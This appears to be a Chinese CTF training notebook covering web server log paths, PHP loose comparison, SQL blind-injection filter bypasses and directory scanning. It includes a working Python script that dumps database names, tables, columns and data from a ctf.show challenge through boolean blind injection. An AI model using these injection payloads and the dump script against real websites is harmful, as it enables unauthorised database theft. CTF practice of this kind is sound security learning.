[靶场笔记]第一章
养成题后整理是一个很好的习惯,尽管有点累而且麻烦,但至少能够方便自己回顾错误的地方 web服务器默认访问日志文件 首先是nginx /var/log/nginx/access.log 里面记录了每次用户访问后的User-Agent 同样,Apache也有 /var/log/httpd/access_log 当然Apache的我没有具体验证过,可靠性有待考究 弱比较漏洞 参考博客:PHP弱类型比较(松散比较)方面的漏洞 SQL盲注 盲注其实就是通过页面的特殊响应猜测注入结果是否正常。下面主要分享一下几种常见绕过 过滤空格, 可以使用括号() 或者注释/**/ 绕过 过滤and, 可以使用or替代 过滤union, 可以用盲注替代联合注入 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1),这里**可以用substr(database() from 1 for 1)来代替** 下面是一个常见的脱库脚本 import requests url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/' name = '' # 循环45次( 循环次数按照返回的字符串长度自定义) for i in range(1, 45): # 获取当前使用的数据库 # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d' # 获取当前数据库的所有表 # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d' # 获取flag表的字段 # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d' # 获取flag表的数据 payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d' count = 0 print('正在获取第 %d 个字符' % i) # 截取SQL查询结果的每个字符, 并判断字符内容 for j in range(31, 128): result = requests.get(url + payload % (i, j)) if 'If' in result.text: name += chr(j) print('数据库名/表名/字段名/数据: %s' % name) break # 如果某个字符不存在,则停止程序 count += 1 if count >= (128 - 31): exit() 信息搜集 肯定会经常见到页面一片空白的情况,或者只有短短的一句类似“where is flag?”这样看着就来气的风凉话 dirsearch就是个不错的信息搜集工具,这里只做提醒,不做详细介绍 ...